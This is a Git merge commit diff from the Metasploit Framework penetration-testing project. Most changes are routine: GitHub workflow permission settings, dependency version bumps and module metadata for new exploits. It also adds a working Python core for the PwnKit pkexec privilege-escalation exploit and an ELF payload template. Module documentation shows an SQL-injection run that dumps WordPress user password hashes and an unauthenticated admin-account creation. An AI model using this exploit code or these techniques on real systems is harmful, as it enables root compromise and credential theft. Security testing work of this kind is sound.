Merge branch 'master' into hash_capture

This commit is contained in:
Ashley Donaldson
2022-03-08 07:57:42 +11:00
69 changed files with 3733 additions and 351 deletions
+19
View File
@@ -1,4 +1,23 @@
name: Labels
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
# This action can update/close issues
issues: write
discussions: none
packages: none
pages: none
# This action can update/close pull requests
pull-requests: write
repository-projects: none
security-events: none
statuses: none
on:
pull_request_target:
types: [labeled]
+16
View File
@@ -1,5 +1,21 @@
name: Lint
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
+19
View File
@@ -1,7 +1,26 @@
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
# This action can update/close issues
issues: write
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
schedule:
- cron: "0 15 * * 1-5"
name: Stale Bot workflow
jobs:
build:
name: stale
+16
View File
@@ -1,5 +1,21 @@
name: Verify
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
permissions:
actions: none
checks: none
contents: none
deployments: none
id-token: none
issues: none
discussions: none
packages: none
pages: none
pull-requests: none
repository-projects: none
security-events: none
statuses: none
on:
push:
branches-ignore:
+14 -14
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.1.32)
metasploit-framework (6.1.33)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -29,7 +29,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.75)
metasploit-payloads (= 2.0.77)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.18)
mqtt
@@ -127,23 +127,23 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.558.0)
aws-sdk-core (3.126.2)
aws-partitions (1.562.0)
aws-sdk-core (3.127.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.299.0)
aws-sdk-core (~> 3, >= 3.126.0)
aws-sdk-ec2 (1.301.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.67.0)
aws-sdk-core (~> 3, >= 3.126.0)
aws-sdk-iam (1.68.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.54.0)
aws-sdk-core (~> 3, >= 3.126.0)
aws-sdk-kms (1.55.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.112.0)
aws-sdk-core (~> 3, >= 3.126.0)
aws-sdk-s3 (1.113.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sigv4 (1.4.0)
@@ -261,7 +261,7 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-payloads (2.0.75)
metasploit-payloads (2.0.77)
metasploit_data_models (5.0.4)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -436,7 +436,7 @@ GEM
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.0.4)
ruby_smb (3.0.5)
bindata
openssl-ccm
openssl-cmac
+9 -9
View File
@@ -10,12 +10,12 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.558.0, "Apache 2.0"
aws-sdk-core, 3.126.2, "Apache 2.0"
aws-sdk-ec2, 1.299.0, "Apache 2.0"
aws-sdk-iam, 1.67.0, "Apache 2.0"
aws-sdk-kms, 1.54.0, "Apache 2.0"
aws-sdk-s3, 1.112.0, "Apache 2.0"
aws-partitions, 1.562.0, "Apache 2.0"
aws-sdk-core, 3.127.0, "Apache 2.0"
aws-sdk-ec2, 1.301.0, "Apache 2.0"
aws-sdk-iam, 1.68.0, "Apache 2.0"
aws-sdk-kms, 1.55.0, "Apache 2.0"
aws-sdk-s3, 1.113.0, "Apache 2.0"
aws-sigv4, 1.4.0, "Apache 2.0"
bcrypt, 3.1.16, MIT
bcrypt_pbkdf, 1.1.0, MIT
@@ -77,9 +77,9 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.3, "New BSD"
metasploit-credential, 5.0.5, "New BSD"
metasploit-framework, 6.1.32, "New BSD"
metasploit-framework, 6.1.33, "New BSD"
metasploit-model, 4.0.3, "New BSD"
metasploit-payloads, 2.0.75, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.77, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.4, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
@@ -161,7 +161,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.0.4, "New BSD"
ruby_smb, 3.0.5, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.8.2, MIT
@@ -0,0 +1,30 @@
import subprocess
import sys
import os
import shutil
from ctypes import cdll, c_char_p, POINTER
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
polkit_bin = sys.argv[1].encode('latin-1')
payload_file = sys.argv[2]
random_string_1 = sys.argv[3]
random_string_2 = sys.argv[4]
file = open(random_string_1 + "/gconv-modules", 'w')
file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2")
file.close()
argv = [None]
cmd = polkit_bin
env = [random_string_1.encode('latin-1')]
env.append(b"PATH=GCONV_PATH=.")
env.append(b"CHARSET=" + random_string_2.encode('latin-1'))
env.append(b"SHELL="+random_string_1.encode('latin-1'))
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
libc.execve(cmd, cargv, cenvp)
@@ -0,0 +1,93 @@
; build with:
; nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin
BITS 64
org 0
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0 ;
dw 3 ; e_type = ET_DYN
dw 0xB7 ; e_machine = AARCH64
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type = PT_LOAD
dd 7 ; p_flags = rwx
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq 0xDEADBEEF ; p_filesz
dq 0xDEADBEEF ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dq dynsection ; p_offset
dq dynsection ; p_vaddr
dq dynsection ; p_vaddr
dq dynsz ; p_filesz
dq dynsz ; p_memsz
dq 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dq 0 ; sh_flags
dq dynsection ; sh_addr
dq dynsection ; sh_offset
dq dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 8 ; sh_addralign
dq 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dq 0 ; sh_flags
dq strtab ; sh_addr
dq strtab ; sh_offset
dq strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dq 0 ; sh_addralign
dq 0 ; sh_entsize
dynsection:
; DT_INIT
dq 0x0c
dq _start
; DT_STRTAB
dq 0x05
dq strtab
; DT_SYMTAB
dq 0x06
dq strtab
; DT_STRSZ
dq 0x0a
dq 0
; DT_SYMENT
dq 0x0b
dq 0
; DT_NULL
dq 0x00
dq 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:
Binary file not shown.
@@ -26,9 +26,11 @@ wp-symposium
photo-gallery
pie-register
wysija-newsletters
dzs-zoomsounds
all-in-one-wp-migration
wp-ultimate-csv-importer
wp-symposium
masterstudy-lms-learning-management-system
wp-gdpr-compliance
wp-automatic
wp-easycart
@@ -41,6 +43,7 @@ wordpress-mobile-pack
learnpress
wp-mobile-edition
boldgrid-backup
modern-events-calendar-lite
gi-media-library
chopslider
bulletproof-security
+425 -17
View File
@@ -4777,6 +4777,66 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/http/wp_masterstudy_privesc": {
"name": "Wordpress MasterStudy Admin Account Creation",
"fullname": "auxiliary/admin/http/wp_masterstudy_privesc",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-02-18",
"type": "auxiliary",
"author": [
"h00die",
"Numan Türle"
],
"description": "MasterStudy LMS, a WordPress plugin,\n prior to 2.7.6 is affected by a privilege escalation where an unauthenticated\n user is able to create an administrator account for wordpress itself.",
"references": [
"CVE-2022-0441",
"URL-https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6",
"EDB-50752",
"WPVDB-173c2efe-ee9c-4539-852f-c242b4f728ed"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-03-07 10:57:40 +0000",
"path": "/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb",
"is_install_path": true,
"ref_name": "admin/http/wp_masterstudy_privesc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_admin/http/wp_symposium_sql_injection": {
"name": "WordPress Symposium Plugin SQL Injection",
"fullname": "auxiliary/admin/http/wp_symposium_sql_injection",
@@ -13027,7 +13087,7 @@
"smtps"
],
"targets": null,
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-14 09:01:05 +0000",
"path": "/modules/auxiliary/dos/smtp/sendmail_prescan.rb",
"is_install_path": true,
"ref_name": "dos/smtp/sendmail_prescan",
@@ -20596,7 +20656,7 @@
"https"
],
"targets": null,
"mod_time": "2021-05-21 20:46:23 +0000",
"mod_time": "2022-03-01 21:31:35 +0000",
"path": "/modules/auxiliary/gather/shodan_search.rb",
"is_install_path": true,
"ref_name": "gather/shodan_search",
@@ -36411,6 +36471,67 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/wp_modern_events_calendar_sqli": {
"name": "WordPress Modern Events Calendar SQLi Scanner",
"fullname": "auxiliary/scanner/http/wp_modern_events_calendar_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-12-13",
"type": "auxiliary",
"author": [
"h00die",
"Hacker5preme (Ron Jost)",
"red0xff"
],
"description": "Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in\n versions before 6.1.5. The time parameter is vulnerable to injection.",
"references": [
"EDB-50687",
"CVE-2021-24946",
"URL-https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md",
"WPVDB-09871847-1d6a-4dfe-8a8c-f2f53ff87445"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-02-13 15:50:24 +0000",
"path": "/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_modern_events_calendar_sqli",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/wp_nextgen_galley_file_read": {
"name": "WordPress NextGEN Gallery Directory Read Vulnerability",
"fullname": "auxiliary/scanner/http/wp_nextgen_galley_file_read",
@@ -36498,11 +36619,11 @@
"https"
],
"targets": null,
"mod_time": "2022-02-02 10:48:58 +0000",
"mod_time": "2022-02-13 15:40:57 +0000",
"path": "/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_registrationmagic_sqli",
"check": false,
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
@@ -45423,7 +45544,7 @@
"smtps"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-02-14 09:01:05 +0000",
"path": "/modules/auxiliary/scanner/smtp/smtp_relay.rb",
"is_install_path": true,
"ref_name": "scanner/smtp/smtp_relay",
@@ -69735,6 +69856,68 @@
],
"needs_cleanup": true
},
"exploit_linux/local/cve_2021_4034_pwnkit_lpe_pkexec": {
"name": "Local Privilege Escalation in polkits pkexec",
"fullname": "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-01-25",
"type": "exploit",
"author": [
"Qualys Security",
"Andris Raugulis",
"Dhiraj Mishra",
"bwatters-r7"
],
"description": "A bug exists in the polkit pkexec binary in how it processes arguments. If\n the binary is provided with no arguments, it will continue to process environment\n variables as argument variables, but without any security checking.\n By using the execve call we can specify a null argument list and populate the\n proper environment variables. This exploit is architecture independent.",
"references": [
"CVE-2021-4034",
"URL-https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/",
"URL-https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt",
"URL-https://github.com/arthepsy/CVE-2021-4034",
"URL-https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/",
"URL-https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py"
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"x86_64",
"x86",
"aarch64"
],
"mod_time": "2022-03-03 09:19:45 +0000",
"path": "/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb",
"is_install_path": true,
"ref_name": "linux/local/cve_2021_4034_pwnkit_lpe_pkexec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/desktop_privilege_escalation": {
"name": "Desktop Linux Password Stealer and Privilege Escalation",
"fullname": "exploit/linux/local/desktop_privilege_escalation",
@@ -74520,7 +74703,7 @@
"targets": [
"Linux x86"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-14 09:01:05 +0000",
"path": "/modules/exploits/linux/smtp/exim4_dovecot_exec.rb",
"is_install_path": true,
"ref_name": "linux/smtp/exim4_dovecot_exec",
@@ -76110,7 +76293,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-05-13 04:01:03 +0000",
"mod_time": "2022-02-16 11:48:55 +0000",
"path": "/modules/exploits/multi/browser/chrome_array_map.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_array_map",
@@ -76118,6 +76301,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -76212,7 +76404,7 @@
"Windows 10 - Google Chrome 80.0.3987.87 (64 bit)",
"macOS - Google Chrome 80.0.3987.87 (64 bit)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-16 11:48:55 +0000",
"path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_jscreate_sideeffect",
@@ -76220,6 +76412,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -76261,7 +76462,7 @@
"No sandbox escape (--no-sandbox)",
"Windows 7 (x64) sandbox escape via CVE-2019-1458"
],
"mod_time": "2021-05-13 04:01:03 +0000",
"mod_time": "2022-02-16 11:48:55 +0000",
"path": "/modules/exploits/multi/browser/chrome_object_create.rb",
"is_install_path": true,
"ref_name": "multi/browser/chrome_object_create",
@@ -76269,6 +76470,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -76370,6 +76580,60 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/browser/firefox_jit_use_after_free": {
"name": "Firefox MCallGetProperty Write Side Effects Use After Free Exploit",
"fullname": "exploit/multi/browser/firefox_jit_use_after_free",
"aliases": [
],
"rank": 0,
"disclosure_date": "2020-11-18",
"type": "exploit",
"author": [
"360 ESG Vulnerability Research Institute",
"maxpl0it",
"timwr"
],
"description": "This modules exploits CVE-2020-26950, a use after free exploit in Firefox.\n The MCallGetProperty opcode can be emitted with unmet assumptions resulting\n in an exploitable use-after-free condition.\n\n This exploit uses a somewhat novel technique of spraying ArgumentsData\n structures in order to construct primitives. The shellcode is forced into\n executable memory via the JIT compiler, and executed by writing to the JIT\n region pointer.\n\n This exploit does not contain a sandbox escape, so firefox must be run\n with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order\n for the shellcode to run successfully.\n\n This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and\n Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.\n Additional work may be needed to support other versions such as Firefox 82.0.1.",
"references": [
"CVE-2020-26950",
"URL-https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950",
"URL-https://bugzilla.mozilla.org/show_bug.cgi?id=1675905",
"URL-https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/"
],
"platform": "Linux,Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2022-02-26 12:35:38 +0000",
"path": "/modules/exploits/multi/browser/firefox_jit_use_after_free.rb",
"is_install_path": true,
"ref_name": "multi/browser/firefox_jit_use_after_free",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/browser/firefox_pdfjs_privilege_escalation": {
"name": "Firefox PDF.js Privileged Javascript Injection",
"fullname": "exploit/multi/browser/firefox_pdfjs_privilege_escalation",
@@ -79100,6 +79364,69 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/apache_apisix_api_default_token_rce": {
"name": "APISIX Admin API default access token RCE",
"fullname": "exploit/multi/http/apache_apisix_api_default_token_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-12-07",
"type": "exploit",
"author": [
"Heyder Andrade <eu@heyderandrade.org>",
"YuanSheng Wang <membphis@gmail.com>"
],
"description": "Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access\n all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x\n version. This module also leverages another vulnerability to bypass the IP restriction plugin.",
"references": [
"CVE-2020-13945",
"CVE-2022-24112",
"URL-https://github.com/apache/apisix/pull/2244",
"URL-https://seclists.org/oss-sec/2020/q4/187",
"URL-https://www.openwall.com/lists/oss-security/2022/02/11/3"
],
"platform": "Unix",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic"
],
"mod_time": "2022-03-07 09:46:15 +0000",
"path": "/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/apache_apisix_api_default_token_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/apache_flink_jar_upload_exec": {
"name": "Apache Flink JAR Upload Java Code Execution",
"fullname": "exploit/multi/http/apache_flink_jar_upload_exec",
@@ -96546,7 +96873,7 @@
"Python payload",
"Command payload"
],
"mod_time": "2021-08-27 17:15:33 +0000",
"mod_time": "2022-02-16 11:48:55 +0000",
"path": "/modules/exploits/osx/browser/safari_in_operator_side_effect.rb",
"is_install_path": true,
"ref_name": "osx/browser/safari_in_operator_side_effect",
@@ -96554,6 +96881,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
@@ -99755,6 +100091,68 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_unix/http/pfsense_diag_routes_webshell": {
"name": "pfSense Diag Routes Web Shell Upload",
"fullname": "exploit/unix/http/pfsense_diag_routes_webshell",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-02-23",
"type": "exploit",
"author": [
"Abdel Adim \"smaury\" Oisfi of Shielder",
"jbaines-r7"
],
"description": "This module exploits an arbitrary file creation vulnerability in the pfSense\n HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2\n and can be exploited by an authenticated user if they have the\n \"WebCfg - Diagnostics: Routing tables\" privilege.\n\n This module uses the vulnerability to create a web shell and execute payloads\n with root privileges.",
"references": [
"CVE-2021-41282",
"URL-https://www.shielder.it/advisories/pfsense-remote-command-execution/"
],
"platform": "BSD,Unix",
"arch": "cmd, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"BSD Dropper"
],
"mod_time": "2022-02-27 18:12:54 +0000",
"path": "/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb",
"is_install_path": true,
"ref_name": "unix/http/pfsense_diag_routes_webshell",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_unix/http/pfsense_graph_injection_exec": {
"name": "pfSense authenticated graph status RCE",
"fullname": "exploit/unix/http/pfsense_graph_injection_exec",
@@ -101127,7 +101525,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-02-14 09:01:05 +0000",
"path": "/modules/exploits/unix/smtp/exim4_string_format.rb",
"is_install_path": true,
"ref_name": "unix/smtp/exim4_string_format",
@@ -146967,7 +147365,7 @@
"targets": [
"Automatic"
],
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-03-03 13:02:55 +0000",
"path": "/modules/exploits/windows/local/bypassuac_comhijack.rb",
"is_install_path": true,
"ref_name": "windows/local/bypassuac_comhijack",
@@ -146975,6 +147373,16 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"session_types": [
"meterpreter"
@@ -175262,7 +175670,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-12-08 13:08:01 +0000",
"mod_time": "2022-03-01 09:50:49 +0000",
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_bind_tcp",
@@ -175296,7 +175704,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-12-08 13:08:01 +0000",
"mod_time": "2022-03-01 09:50:49 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -175330,7 +175738,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-12-08 13:08:01 +0000",
"mod_time": "2022-03-01 09:50:49 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -175364,7 +175772,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-12-08 13:08:01 +0000",
"mod_time": "2022-03-01 09:50:49 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_tcp",
@@ -199416,7 +199824,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-03-05 13:24:55 +0000",
"path": "/modules/post/windows/manage/persistence_exe.rb",
"is_install_path": true,
"ref_name": "windows/manage/persistence_exe",
@@ -0,0 +1,50 @@
## Vulnerable Application
MasterStudy LMS, a WordPress plugin,
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated
user is able to create an administrator account for wordpress itself.
[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.2.7.5.zip).
## Verification Steps
1. `msfconsole`
2. `use auxiliary/admin/http/wp_masterstudy_privesc`
3. `set RHOSTS <rhost>`
4. `run`
## Options
### USERNAME
Set a `USERNAME` if desirable. Defaults to empty, and random generation.
### PASSWORD
Set a `PASSWORD` if desirable. Defaults to empty, and random generation.
### EMAIL
Set a `EMAIL` if desirable. Defaults to empty, and random generation.
## Scenarios
### MasterStudy 2.7.5 on WordPress 5.7.5
```
[*] Processing masterstudy.rb for ERB directives.
resource (masterstudy.rb)> use auxiliary/admin/http/wp_masterstudy_privesc
resource (masterstudy.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (masterstudy.rb)> set verbose true
verbose => true
resource (masterstudy.rb)> run
[*] Running module against 1.1.1.1
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt
[*] Found version 2.7.5 in the plugin
[+] The target appears to be vulnerable.
[*] Attempting with username: ujukzntw7 password: TbxjFm0znF email: ashley.thompson@gcvz2cibu.org
[+] Account Created Successfully
[*] Auxiliary module execution completed
```
@@ -0,0 +1,62 @@
## Vulnerable Application
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in
versions before 6.1.5. The `time` parameter is vulnerable to injection.
The plugin can be downloaded [here](https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip)
This module slightly replicates sqlmap running as:
```
sqlmap -u 'http://<IP>/wp-admin/admin-ajax.php?action=mec_load_single_page&time=2' -p "time" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql
```
## Verification Steps
1. Install the plugin, use defaults
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/wp_modern_events_calendar_sqli`
4. Do: `set rhosts [ip]`
5. Do: `run`
6. You should get the users and hashes returned.
## Options
### ACTION: List Users
This action lists `COUNT` users and password hashes.
## COUNT
If action `List Users` is selected (default), this is the number of users to enumerate.
The larger this list, the more time it will take. Defaults to `1`.
## Scenarios
### Modern Events Calendar 6.1.0 on Wordpress 5.7.5 on Ubuntu 20.04
```
resource (calendar.rb)> use auxiliary/scanner/http/wp_modern_events_calendar_sqli
resource (calendar.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (calendar.rb)> set verbose true
verbose => true
resource (calendar.rb)> run
[*] Checking /wp-content/plugins/modern-events-calendar-lite/readme.txt
[*] Found version 6.1.0 in the plugin
[+] Vulnerable version of Modern Events Calendar detected
[*] {SQLi} Executing (select group_concat(FMuxps) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) FMuxps from wp_users limit 1) tXKksULcj)
[*] {SQLi} Encoded to (select group_concat(FMuxps) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xde,0)),ifnull(user_pass,repeat(0x79,0))) as binary) FMuxps from wp_users limit 1) tXKksULcj)
[*] {SQLi} Time-based injection: expecting output of length 40
admin
$P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
[+] wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,323 @@
## Vulnerable Application
The `check` method uses the exploit without a payload. Vulnerable versions of pkexec
give the error that the shell was not in the shells folder if you pass in the exploit
